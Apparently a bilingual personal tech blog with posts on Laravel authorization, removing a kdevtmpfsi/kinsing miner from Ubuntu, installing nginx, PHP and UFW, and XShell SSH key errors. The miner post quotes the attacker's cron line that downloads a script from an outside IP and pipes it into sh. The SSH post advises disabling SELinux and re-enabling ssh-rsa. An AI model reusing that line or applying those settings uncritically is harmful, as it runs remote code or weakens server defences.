发布于

Authorization Points in the Laravel Framework (Where Authorization Takes Place)

In the Laravel framework, authorization can be implemented in the following places:

  • Using the can Middleware: This middleware allows for permission checks at the route level, providing an easy way to ensure that the user has the required authorization.
  • Using the authorize Method in Form Request Validation Classes: The authorize method is used to determine whether the user is authorized to make a given request. Note that if you generate a form request validation class using the php artisan command, it will come with a default return false in the authorize method.
  • Using authorize, can, or cannot Methods in Controller Actions: Within controller methods, you can use these methods to check if the user has the required permissions before performing an action.
  • Using @can and @cannot Directives in Blade Templates: These Blade directives allow you to conditionally display content based on whether the user has a specific ability or permission.
  • Using Sanctum Token Abilities: When using Sanctum for API authentication, you can define and check token abilities to manage access at a granular level.
发布于

Laravel框架的鉴权点（在框架的哪些地方鉴权）

可以在Laravel框架的以下地方鉴权：

  • 使用can中间件
  • 使用表单请求数据验证类的authorize方法。注意，使用php artisan命令创建的表单请求数据验证类，默认包含return false的authorize方法
  • 在控制器的方法里使用authorize、can、cannot等方法
  • 在Blade模板中使用@can、@cannot等指令
  • 使用Sanctum的令牌能力

发布于

How to Fix the kdevtmpfsi and kinsing Mining Virus Infection on an Ubuntu Server

My server is running Ubuntu 24. Today, after installing and configuring a WordPress blog based on Nginx 1.24, PHP 8.3, and MySQL 8.0, I ran the following command to check the server load:

$ top -i

I noticed that the kdevtmpfsi process was using 100% of the CPU. A quick search revealed that this is a malicious mining process. Typically, two malicious mining processes—kdevtmpfsi and kinsing—are found together. Here’s how I resolved the issue:

Step 1: Kill the kdevtmpfsi and kinsing Processes

First, find the process ID (PID) for kdevtmpfsi and kill it:

$ ps aux | grep kdevtmpfsi | awk '{print $2}' | xargs sudo kill -9

Next, find the PID for kinsing and kill it:

$ ps aux | grep kinsing | awk '{print $2}' | xargs sudo kill -9

Step 2: Find and Remove the Malicious Program Files

Now, search for and remove any files associated with kdevtmpfsi and kinsing:

$ sudo find / -iname kdevtmpfsi* -exec rm -fv {} \;
$ sudo find / -iname kinsing* -exec rm -fv {} \;

The output should look like this:

removed '/tmp/kdevtmpfsi962782589'
removed '/tmp/kdevtmpfsi'
removed '/tmp/kinsing'
removed '/tmp/kinsing_oA1GECLm'

Step 3: Check for Scheduled Tasks Set by www-data User

The top -i command showed that the user running the kdevtmpfsi process was www-data, so I checked the scheduled tasks for this user:

$ sudo crontab -l -u www-data

I found the following task:

* * * * * wget -q -O - http://185.122.204.197/unk.sh | sh > /dev/null 2>&1

This cron job downloads and executes the unk.sh script, which in turn downloads and runs the kdevtmpfsi and kinsing programs. To remove this scheduled task, I ran:

$ sudo crontab -r -u www-data

Then, I deleted the unk.sh script:

$ sudo find / -iname unk.sh -exec rm -fv {} \;

Step 4: Create Non-Executable Placeholder Files for kdevtmpfsi and kinsing

To prevent the kdevtmpfsi and kinsing files from being executed again, I created them as non-executable placeholder files and set them to read-only:

$ touch /tmp/kdevtmpfsi && touch /tmp/kinsing
$ echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi
$ echo "kinsing is fine now" > /tmp/kinsing
$ chmod 0444 /tmp/kdevtmpfsi
$ chmod 0444 /tmp/kinsing

This ensures that these files are no longer executable and cannot run.

Step 5: Enable UFW Firewall and Block Malicious IP

I enabled the UFW firewall and blocked access from the IP address 185.122.204.197, which was being used for the malicious downloads:

$ sudo ufw allow ssh
$ sudo ufw enable
$ sudo ufw allow http
$ sudo ufw allow https
$ sudo ufw deny from 185.122.204.197

To check the UFW status:

$ sudo ufw status numbered

Step 6: Restrict PHP-FPM to Localhost

According to online resources, this issue is likely due to the php-fpm service exposing port 9000 to the internet. To fix this, I edited the php-fpm configuration file:

$ sudo vim /etc/php/8.3/fpm/pool.d/www.conf

I changed the following line:

listen = 9000

to:

listen = 127.0.0.1:9000

This restricts php-fpm to only listen on the local 127.0.0.1 IP address. To apply the changes, I restarted the php-fpm service:

$ sudo systemctl restart php8.3-fpm

Reference:

发布于

Ubuntu服务器感染了挖矿病毒程序kdevtmpfsi和kinsing的解决方法

我的服务器的操作系统是Ubuntu 24。今天安装并配置了Wordpress博客，基于Nginx 1.24 + PHP 8.3 + MySQL 8.0。我运行以下命令查看服务器负载：
$ top -i
发现kdevtmpfsi进程CPU使用率达到100%。网上查了一下，说它是恶意的挖矿进程。一般同时存在两个恶意的挖矿进程：kdevtmpfsi和kinsing。解决步骤如下。

第一步，查找kdevtmpfsi进程的id并杀死：
$ ps aux | grep kdevtmpfsi | awk '{print $2}' | xargs sudo kill -9
查找kinsing进程的id并杀死：
$ ps aux | grep kinsing | awk '{print $2}' | xargs sudo kill -9

第二步，使用以下命令查找并删除kdevtmpfsi和kinsing进程对应的程序文件：

$ sudo find / -iname kdevtmpfsi* -exec rm -fv {} \;
$ sudo find / -iname kinsing* -exec rm -fv {} \;

输出应如下所示：

removed '/tmp/kdevtmpfsi962782589'
removed '/tmp/kdevtmpfsi'
removed '/tmp/kinsing'
removed '/tmp/kinsing_oA1GECLm'

第三步，top -i命令显示运行kdevtmpfsi进程的用户是www-data用户，因此查看www-data用户设置的计划任务：

$ sudo crontab -l -u www-data
* * * * * wget -q -O - http://185.122.204.197/unk.sh | sh > /dev/null 2>&1

果然有，这个计划任务的功能是每隔一定时间就下载并运行unk.sh脚本程序，这个脚本程序会下载kdevtmpfsi和kinsing程序并启动运行。删除www-data用户的计划任务：
$ sudo crontab -r -u www-data
删除unk.sh脚本文件：
$ sudo find / -iname unk.sh -exec rm -fv {} \;

第四步，创建自己的kdevtmpfsi和kinsing文件并将其设置为只读：

$ touch /tmp/kdevtmpfsi && touch /tmp/kinsing
$ echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi
$ echo "kinsing is fine now" > /tmp/kinsing
$ chmod 0444 /tmp/kdevtmpfsi
$ chmod 0444 /tmp/kinsing

这么做后kdevtmpfsi和kinsing文件就不是可执行程序了，就无法运行起来了。

第五步，启动UFW防火墙并禁止185.122.204.197这个IP对我当前的服务器的访问：

$ sudo ufw allow ssh
$ sudo ufw enable
$ sudo ufw allow http
$ sudo ufw allow https
$ sudo ufw deny from 185.122.204.197

查看UFW状态：
$ sudo ufw status numbered

根据网上的资料，这个问题很可能是php-fpm服务暴露9000端口到互联网引起的，因此修改php-fpm配置文件：
$ sudo vim /etc/php/8.3/fpm/pool.d/www.conf
把以下这行：
listen = 9000
改为：
listen = 127.0.0.1:9000
意思是php-fpm服务只监听本机127.0.0.1这个IP地址。重启php-fpm服务使配置文件的修改生效：
$ sudo systemctl restart php8.3-fpm

参考
https://stackoverflow.com/questions/60151640/kdevtmpfsi-using-the-entire-cpu

发布于

在Ubuntu上安装nginx

环境
Ubuntut 22桌面版

如果在安装nginx之前已经安装了apache2，那么80端口已经被apache2监听了，使用以下命令停止apache2服务：
sudo systemctl stop apache2

使用以下命令禁止apache2开机自动启动：
sudo systemctl disable apache2

由于apache2和nginx默认的网站根目录都是/var/www/html/，因此成功安装和启动nginx后，在操作系统内部的火狐浏览器访问：
http://localhost
访问到了apache2的欢迎页面，不要惊讶，因为nginx在/var/www/html/目录安装的是index.nginx-debian.html。我们可以执行以下命令备份apache2安装的index.html：
sudo mv /var/www/html/index.html /var/www/html/index.apache2-ubuntu22.html
然后把index.nginx-debian.html改名为index.html：
sudo mv /var/www/html/index.nginx-debian.html /var/www/html/index.html
这样再访问http://localhost就能访问到nginx的欢迎页面了！

Ubuntu安装nginx后，默认没有创建nginx用户和组（在CentOS系统是创建nginx用户和组），而是创建www-data用户和组。

发布于

Ubuntu24安装PHP8.3的方法

首先更新系统：

sudo apt update && sudo apt upgrade -y

Ubuntu 24执行以下命令即可安装php8.3：

sudo apt install php -y

安装完成后，检查php的版本：

php --version

使用sudo apt install php8.3-PACKAGE_NAME命令安装php常用扩展，把PACKAGE_NAME替换为具体的扩展名：

sudo apt install -y php8.3-cli php8.3-common php8.3-fpm php8.3-mysql php8.3-zip php8.3-gd php8.3-mbstring php8.3-curl php8.3-xml php8.3-bcmath php8.3-sqlite3 php8.3-intl php8.3-bz2 php8.3-imagick php8.3-redis

查看已经安装了哪些php扩展：

php -m

参考

Ubuntu22安装PHP8.2的方法
发布于

Ubuntu防火墙服务ufw学习笔记

防火墙是一种用于监控和过滤传入和传出网络流量的工具。它的工作原理是定义一组安全规则来确定是否允许或阻止特定流量。正确配置防火墙是整个系统安全的最重要方面之一。

Ubuntu 附带了一个名为 UFW（Uncomplicated Firewall，简单的防火墙）的防火墙配置工具。它是一个用户友好的前端，用于管理 iptables 防火墙规则。它的主要目标是让防火墙更容易管理。

安装UFW

Ubuntu 系统自带UFW。如果由于某种原因未安装UFW，你可以执行以下命令来安装该软件包：

sudo apt update

sudo apt install ufw

检查UFW状态

UFW 默认是禁用的。你可以使用以下命令检查 UFW 服务的状态：

sudo ufw status verbose

输出：

Status: inactive

表示UFW状态是“不活动”，即UFW服务不在运行。如果输出：

Status: active

表示UFW服务是在运行着的。

UFW默认政策

UFW 防火墙的默认行为是阻止所有传入和转发流量并允许所有出站流量。这意味着除非你专门打开端口，否则任何试图访问你的服务器的人都将无法连接。但在你的服务器上运行的应用程序能够访问外部世界。

默认策略在/etc/default/ufw文件中定义，可以通过手动修改文件或使用sudo ufw default <policy> <chain>命令来更改。防火墙策略是构建更复杂的用户自定义的规则的基础。

应用程序的UFW配置文件

每个应用程序都可以拥有自己的UFW配置文件，在里面定义特定于这个应用程序的防火墙规则，配置文件是 INI 格式的文本文件，位于/etc/ufw/applications.d目录里。

你可以通过输入以下命令列出服务器上可用的所有应用程序的UFW配置文件：

sudo ufw app list

根据系统上安装的软件包，输出将类似于以下内容：

Available applications:
  Nginx Full
  Nginx HTTP
  Nginx HTTPS
  OpenSSH

要查看特定应用程序的UFW规则，例如Nginx Full，请使用以下命令：

sudo ufw app info 'Nginx Full'

输出显示“Nginx Full”配置文件打开了80和443端口：

Profile: Nginx Full
Title: Web Server (Nginx, HTTP + HTTPS)
Description: Small, but very powerful and efficient web server

Ports:
  80,443/tcp

启动UFW

如果你从远程位置连接到 Ubuntu，那么在启用 UFW 防火墙之前，你必须明确允许传入的SSH连接。否则，你将无法再通过SSH连接到该机器。

要配置你的 UFW 防火墙以允许传入的 SSH 连接，请输入以下命令：

sudo ufw allow ssh

输出：

Rules updated

Rules updated (v6)

如果 SSH 在非标准端口（即不是22端口）上运行 ，则需要打开该端口。例如，如果你的 ssh 守护进程在7722端口上侦听，请输入以下命令以允许该端口上的进入连接：

sudo ufw allow 7722/tcp

现在UFW防火墙已配置为允许传入的 SSH 连接，你可以通过键入以下命令来启动UFW防火墙：

sudo ufw enable

输出：

Command may disrupt existing ssh connections. Proceed with operation (y|n)? y
Firewall is active and enabled on system startup

系统将警告你启用防火墙可能会中断现有的 ssh 连接，键入y并点击Enter即可。

开放端口

根据系统上运行的应用程序，你可能还需要开放其他端口。打开端口的一般语法是：

ufw allow port_number/protocol

以下是一些允许外部人员访问你的服务器的 HTTP 服务的方法。

第一个方法是使用服务名称。UFW会检查/etc/services文件中指定的服务的端口和协议：

sudo ufw allow http

第二个方法是指定端口号和协议：

sudo ufw allow 80/tcp

当没有给出协议时，UFW 会为tcp和udp都创建这个规则。

第三个方法是使用应用程序的UFW配置文件。在本例中是“Nginx HTTP”：

sudo ufw allow ‘Nginx HTTP’

UFW 还支持使用关键字proto指定协议的另一种语法：

sudo ufw allow proto tcp to any port 80

开放端口范围

UFW还允许你开放端口范围。起始端口和结束端口以冒号 (:) 分隔，并且你必须指定协议，可以是tcp或udp。

例如，如果你想开放7100到7200这个端口范围，可以运行以下命令：

sudo ufw allow 7100:7200/tcp

sudo ufw allow 7100:7200/udp

允许特定IP地址（白名单）

要允许来自特定源 IP 的所有端口上的进入连接，请使用from关键字后跟源地址。以下是将 IP 地址列入白名单的示例：

sudo ufw allow from 64.63.62.61

如果你只允许特定 IP 地址访问特定端口，请使用to any port关键字后跟端口号。例如，要允许IP地址为64.63.62.61的计算机访问22端口，执行以下命令：

sudo ufw allow from 64.63.62.61 to any port 22

允许IP地址范围（子网）

允许IP地址范围与允许单个IP地址的语法相同。唯一的区别是你需要指定网络掩码（子网掩码）。

下面是一个示例，展示如何允许IP地址范围从192.168.1.1到192.168.1.254对3360端口（MySQL服务）的访问：

sudo ufw allow from 192.168.1.0/24 to any port 3306

允许特定网络接口

要允许特定网络接口上的连接，请使用in on关键字后跟网络接口的名称：

sudo ufw allow in on eth2 to any port 3306

以上允许外部通过eth2网络接口对3306端口的访问。

拒绝连接

所有进入连接的默认策略是deny，UFW将阻止所有进入连接，除非你专门开放某个连接。

编写拒绝规则与编写允许规则相同，你只需使用deny关键字代替allow。

假设你开放了端口80和443，并且你的服务器受到23.24.25.0/24网络攻击。要拒绝来自它们的所有连接，可以运行以下命令：

sudo ufw deny from 23.24.25.0/24

下面是仅拒绝它们访问80端口和443端口的示例：

sudo ufw deny proto tcp from 23.24.25.0/24 to any port 80,443

删除UFW规则

有两种不同的方法，可以通过规则编号或指定实际规则来删除 UFW 规则。

按规则编号删除规则比较容易，尤其是当您你刚接触 UFW 时。要按规则编号删除规则，首先需要找到要删除的规则的编号。要获取编号规则的列表，请使用以下命令：

sudo ufw status numbered

输出类似于：

Status: active

     To                         Action      From
     --                         ------      ----
[ 1] 22/tcp                     ALLOW IN    Anywhere
[ 2] 80/tcp                     ALLOW IN    Anywhere
[ 3] 8080/tcp                   ALLOW IN    Anywhere

要删除编号为3的允许连接到8080端口的规则，请执行以下命令：

sudo ufw delete 3

第二种方法是通过指定实际规则来删除规则。例如，如果你添加了一条开放端口8069的规则，则可以用以下命令删除它：

sudo ufw delete allow 8069

禁用UFW

如果你想要停止UFW并停用所有规则，你可以执行：

sudo ufw disable

稍后如果你想重启UFW并激活所有规则，只需执行：

sudo ufw enable

重置UFW

重置UFW将禁用UFW并删除所有规则。如果你想重新开始配置UFW的话，请执行以下命令：

sudo ufw reset

IP伪装

IP 伪装是 Linux 内核中 NAT（网络地址转换）的一种变体，它通过重写源和目标 IP 地址和端口来转换网络流量。使用 IP 伪装，你可以允许私有网络中的一台或多台计算机使用其中一台充当网关与互联网通信。

使用 UFW 配置 IP 伪装涉及几个步骤。

首先，你需要启用 IP 转发。为此，请打开文件/etc/ufw/sysctl.conf文件：

sudo vim /etc/ufw/sysctl.conf

找到并取消注释以下行net.ipv4.ip_forward = 1：

net/ipv4/ip_forward=1

接下来，你需要配置 UFW 以允许转发数据包。打开 UFW 配置文件：

sudo vim /etc/default/ufw

找到该DEFAULT_FORWARD_POLICY键，并将值从DROP更改为ACCEPT：

DEFAULT_FORWARD_POLICY="ACCEPT"

现在你需要设置nat表中POSTROUTING链的默认策略和伪装规则。为此，请打开/etc/ufw/before.rules文件：

sudo nano /etc/ufw/before.rules

添加以下几行：

#NAT table rules
*nat
:POSTROUTING ACCEPT [0:0]

# Forward traffic through eth0 - Change to public network interface
-A POSTROUTING -s 10.8.0.0/16 -o eth0 -j MASQUERADE

# don't delete the 'COMMIT' line or these rules won't be processed
COMMIT

不要忘记替换-A POSTROUTING行中的eth0为你的公共网络接口的名称。

完成后，保存并关闭文件。最后，通过禁用并重新启用UFW来重新加载UFW规则：

sudo ufw disable

sudo ufw enable

限速

ufw limit命令可以进行限速，默认的限速规则是20秒内不得超过6次访问。例如：

ufw limit ssh

即可防止ssh被疯狂猜测账号密码暴力登录。

ufw命令详解

ufw有个全局选项--dry-run，如果加了这个参数，那么不会真的执行，而是会输出将会怎样执行，类比为MySQL的explain。例如：

$ sudo ufw --dry-run allow http

查看ufw命令的帮助：

$ ufw --help
Usage: ufw COMMAND

Commands:
 enable                          enables the firewall
 disable                         disables the firewall
 default ARG                     set default policy
 logging LEVEL                   set logging to LEVEL
 allow ARGS                      add allow rule
 deny ARGS                       add deny rule
 reject ARGS                     add reject rule
 limit ARGS                      add limit rule
 delete RULE|NUM                 delete RULE
 insert NUM RULE                 insert RULE at NUM
 route RULE                      add route RULE
 route delete RULE|NUM           delete route RULE
 route insert NUM RULE           insert route RULE at NUM
 reload                          reload firewall
 reset                           reset firewall
 status                          show firewall status
 status numbered                 show firewall status as numbered list of RULES
 status verbose                  show verbose firewall status
 show ARG                        show firewall report
 version                         display version information

Application profile commands:
 app list                        list application profiles
 app info PROFILE                show information on PROFILE
 app update PROFILE              update PROFILE
 app default ARG                 set default application policy

ufw status输出UFW的状态

可以不加参数，也可以使用 numbered 或者 verbose 两个参数，分别是输出编号和详细输出：

$ sudo ufw status
Status: active

To                         Action      From
--                         ------      ----
syncthing                  ALLOW       Anywhere                  
22                         ALLOW       Anywhere                  
Anywhere                   ALLOW       192.168.0.0/16             
syncthing (v6)             ALLOW       Anywhere (v6)             
22 (v6)                    ALLOW       Anywhere (v6)             

$ sudo ufw status numbered
Status: active

     To                         Action      From
     --                         ------      ----
[ 1] syncthing                  ALLOW IN    Anywhere                  
[ 2] 22                         ALLOW IN    Anywhere                  
[ 3] Anywhere                   ALLOW IN    192.168.0.0/16             
[ 4] syncthing (v6)             ALLOW IN    Anywhere (v6)             
[ 5] 22 (v6)                    ALLOW IN    Anywhere (v6)             
删除规则的时候，就可以指定编号来删除，例如ufw delete 2。

$ sudo ufw status verbose
Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing), disabled (routed)
New profiles: skip

To                         Action      From
--                         ------      ----
22000/tcp (syncthing)      ALLOW IN    Anywhere                  
21027/udp (syncthing)      ALLOW IN    Anywhere                  
22                         ALLOW IN    Anywhere                  
Anywhere                   ALLOW IN    192.168.0.0/16             
22000/tcp (syncthing (v6)) ALLOW IN    Anywhere (v6)             
21027/udp (syncthing (v6)) ALLOW IN    Anywhere (v6)             
22 (v6)                    ALLOW IN    Anywhere (v6)

参考

ufw简明教程

发布于

How to Fix the Error “The Selected User Key is Not Registered on the Remote Host. Please Try Again” When Using XShell with SSH Private Key to Log into a Remote Linux Host

I’m working with a remote Linux host running Ubuntu 24.

Following an online tutorial, I was able to successfully SSH into the remote host using a private key file from Git Bash with the following command:

$ ssh [email protected] -i .ssh/id_rsa

However, when I try using the same command and private key file in XShell, I get the error: “The selected user key is not registered on the remote host. Please try again.”

Upon checking the SSH log file /var/log/auth.log, I found the following message:

userauth_pubkey: signature algorithm ssh-rsa not in PubkeyAcceptedAlgorithms [preauth]

This indicates that the SSH service on the remote host rejected the SSH-RSA public key signature algorithm during authentication, likely because it has been disabled in the remote host’s configuration.

The reason it worked in Git Bash but not in XShell is likely because Git Bash uses a newer version of the OpenSSH client that supports alternative signature algorithms (like rsa-sha2-256 or rsa-sha2-512). On the other hand, XShell may still rely on the ssh-rsa signature algorithm due to its default configuration or older client version, which results in the authentication failure.

Starting from OpenSSH 8.8, the ssh-rsa algorithm is considered insecure, and some server configurations (like Ubuntu 24) disable it by default. In this case, the PubkeyAcceptedAlgorithms configuration on the remote host may have disabled ssh-rsa, only accepting more secure algorithms such as rsa-sha2-256 or rsa-sha2-512.

To check my remote Linux host’s OpenSSH version, I ran:

$ sshd -V
OpenSSH_9.6p1 Ubuntu-3ubuntu13.5, OpenSSL 3.0.13 30 Jan 2024

It turned out to be OpenSSH 9.6.

This version of OpenSSH supports more secure public/private key pairs generated with the ECDSA (Elliptic Curve Digital Signature Algorithm). To fix the issue with XShell, I decided to regenerate a new key pair using the ECDSA algorithm. XShell provides a “New User Key Generation Wizard” under the “Tools (T)” menu to do this.

Alternative Solution: Allow ssh-rsa Algorithm (if the remote host allows it)

If you have control over the remote host, you can allow the ssh-rsa algorithm by modifying the SSH configuration file /etc/ssh/sshd_config on the remote host. Here’s how you can do it:

1 Open the SSH configuration file:

sudo vim /etc/ssh/sshd_config

2 Find and add (or modify) the following line to allow ssh-rsa:

PubkeyAcceptedAlgorithms +ssh-rsa

3 Restart the SSH service:

sudo systemctl restart ssh

If you’re using CentOS, restart sshd instead:

sudo systemctl restart sshd

Other Causes for the Error “The Selected User Key is Not Registered on the Remote Host” or “Server Refused the User Key”

1 Incorrect directory or file permissions: Ensure that the permissions for the .ssh directory and the authorized_keys file are set correctly:

chmod 700 .ssh
chmod 600 .ssh/authorized_keys

Also, ensure that authorized_keys is owned by the correct user:

chown ubuntu:ubuntu .ssh/authorized_keys

2 Incorrect key: Make sure the authorized_keys file on the server contains the public key (usually ending with .pub), not the private key.

3 SSH key authentication not enabled: The configuration file /etc/ssh/sshd_config should have the following line and it should not be commented out:

PubkeyAuthentication yes

4 Username and key mismatch: If the key is in /home/debian/.ssh/ (for the debian user), but you’re trying to log in as ubuntu, authentication will fail.

5 Root login is disabled: If /etc/ssh/sshd_config has PermitRootLogin no, you won’t be able to log in as root.

6 SELinux is enabled: Run getenforce to check the status of SELinux. The status should be Permissive, not Enforcing. Temporarily disable SELinux with:

setenforce 0

To permanently disable SELinux, edit the /etc/sysconfig/selinux file and change SELINUX=enforcing to SELINUX=disabled.

7 Incorrect authorized_keys filename: If the line in /etc/ssh/sshd_config is:

# AuthorizedKeysFile .ssh/authorized_keys

but your .ssh directory contains a file named authorized_key, you should rename it to authorized_keys.

发布于

XShell使用私钥文件ssh登录远程Linux主机报错“所选的用户秘钥未在远程主机上注册，请再试一次”的解决方法

我的远程Linux主机的操作系统是Ubuntu 24。

按照网上的教程，我在Git Bash上使用私钥文件成功ssh登录远程Linux主机，命令如下所示：

$ ssh [email protected] -i .ssh/id_rsa

但是使用同样的命令和私钥文件，却无法在XShell上ssh登录远程Linux主机，报错“所选的用户秘钥未在远程主机上注册。请再试一次”。

查看ssh的日志文件/var/log/auth.log，我发现如下信息：

userauth_pubkey: signature algorithm ssh-rsa not in PubkeyAcceptedAlgorithms [preauth]

这表明远程主机的 SSH 服务在进行公钥认证时，发现客户端使用的公钥签名算法是 ssh-rsa，但是在远程主机的配置中，ssh-rsa算法被禁用了，因此认证失败。

在Git Bash 中使用私钥可以登录成功，可能是因为 Git Bash 使用的是较新的 OpenSSH 客户端版本，并能够使用备用的签名算法（如 rsa-sha2-256 或 rsa-sha2-512）。但是在 XShell 中，可能由于其默认配置或旧版本的客户端，它仍然依赖于 ssh-rsa 签名算法进行身份验证，导致认证失败。

从 OpenSSH 8.8 开始，ssh-rsa 算法被视为不再安全，部分服务器配置（例如Ubuntu 24）默认禁用了该算法。在远程主机的 SSH 服务中，可能已经通过 PubkeyAcceptedAlgorithms 配置来禁用 ssh-rsa 算法，而只接受更安全的算法，例如 rsa-sha2-256 或 rsa-sha2-512。 查看我的远程Linux主机的OpenSSH版本：

$ sshd -V
OpenSSH_9.6p1 Ubuntu-3ubuntu13.5, OpenSSL 3.0.13 30 Jan 2024

发现是OpenSSH 9.6版本。

OpenSSH 9.6版本支持更安全的ECDSA（Elliptic Curve Digital Signature Algorithm） 算法生成的公钥和私钥。因此我解决XShell问题的方法是，使用ECDSA算法重新生成一对公钥和私钥，可以使用XShell的“工具(T)”->“新建用户秘钥生成向导”来做到：

另一个解决方案是，允许 ssh-rsa 算法（如果远程主机允许）。如果你有对远程主机的控制权，可以通过修改远程主机的 SSH 配置文件 /etc/ssh/sshd_config 来允许 ssh-rsa 算法。打开 /etc/ssh/sshd_config 文件：

sudo vim /etc/ssh/sshd_config

查找并添加（或修改）以下行，允许 ssh-rsa 算法：

PubkeyAcceptedAlgorithms +ssh-rsa

重启 SSH 服务：

sudo systemctl restart ssh

# 如果你的系统是CentOS

sudo systemctl restart sshd

其他会引起“所选的用户秘钥未在远程主机上注册。请再试一次”或“服务器拒绝了用户密钥”问题的原因还有：

1 没有正确设置目录和文件的权限：

chmod 700 .ssh

chmod 600 .ssh/authorized_keys

并且authorized_keys文件要归属于用户组，例如：

chown ubuntu:ubuntu .ssh/uthorized_keys

2 密钥错误：服务器上的 authorized_keys 保存的应是公钥（一般以.pub作为文件后缀名），而不是私钥。

3 未开启密钥验证：/etc/ssh/sshd_config这个配置文件中应有 PubkeyAuthentication yes 这一行，且没有被注释掉

4 用户名和密钥不匹配：假设密钥是放在 /home/debian/.ssh/ 下（即用户是 debian），但是登录的用户名却使用ubuntu

5 root用户名被禁止登陆：假设etc/ssh/sshd_config 配置了 PermitRootLogin no，却用 root 账户来登录

6 开启了SELinux：使用getenforce命令查看SELinux的状态，状态应该是Permissive，不能是 Enforcing。临时关闭SELinux：

setenforce 0

永久关闭SELinux的方法是：编辑/etc/sysconfig/selinux配置文件，把其中的 SELINUX=enforcing 替换为 SELINUX=disabled

7 SSH 配置文件/etc/ssh/sshd_config中有这么一行：

# AuthorizedKeysFile      .ssh/authorized_keys

而你的.ssh目录下的对应文件的名字却是authorized_key，应该是authorized_keys。

发布于

没有必要使用laravel-debugbar调试工具了

在Laravel 5.7版本中，Telescope被官方引入并且作为官方推荐包提供。在Laravel 5.7版本之前，除了可以使用社区维护的Telescope之外，还可以使用Laravel开发者工具laravel-debugbar包。

现在Laravel最新版本是11，Telescope的调试功能已经比laravel-debugbar强大了，因此没有必要使用laravel-debugbar作为调试工具了。